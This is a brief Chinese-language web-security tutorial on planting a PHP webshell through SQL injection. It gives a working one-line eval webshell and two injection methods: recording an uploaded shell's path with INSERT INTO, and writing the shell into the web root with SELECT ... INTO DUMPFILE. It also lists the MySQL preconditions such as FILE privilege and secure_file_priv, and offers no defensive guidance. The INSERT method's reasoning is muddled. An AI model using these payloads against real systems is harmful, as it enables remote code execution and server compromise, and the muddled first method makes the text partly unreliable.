WEB安全--SQL注入--上传webshell的其他方式

一、INSERT INTO基于数据写入的SQL注入

1.1、条件

1、Web应用提供上传文件功能,用户上传的文件路径会存储在数据库中

2、数据库内容可影响Web资源访问路径

3、用户有写的权限

1.2、示例

首先我们上传一个shell.php到web应用中,其内容为<?php @eval($_POST['cmd']); ?>

然后通过SQL注入:

-- 恶意注入
INSERT INTO uploads (file_path) VALUES ('/var/www/html/shell.php'); -- 写入Webshell路径

访问 http://target.com/shell.php 后,通过POST方式传入 cmd 参数,即可执行恶意PHP代码。

二、SELECT INTO DUMPFILE基于备份与还原的SQL注入

1.1、条件

1、开启file权限(默认不开放)

2、Web服务器用户需有写权限

3、secure_file_priv为空(默认为NULL,NULL不是空)

1.2、示例

-- 正常查询
SELECT data FROM users WHERE id=1;

-- 恶意注入
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

补充:与into outfile不同,into dumpfile直接写入文件,没有任何格式化处理,而into outfile会自动添加换行符、制表符,会破坏webshell。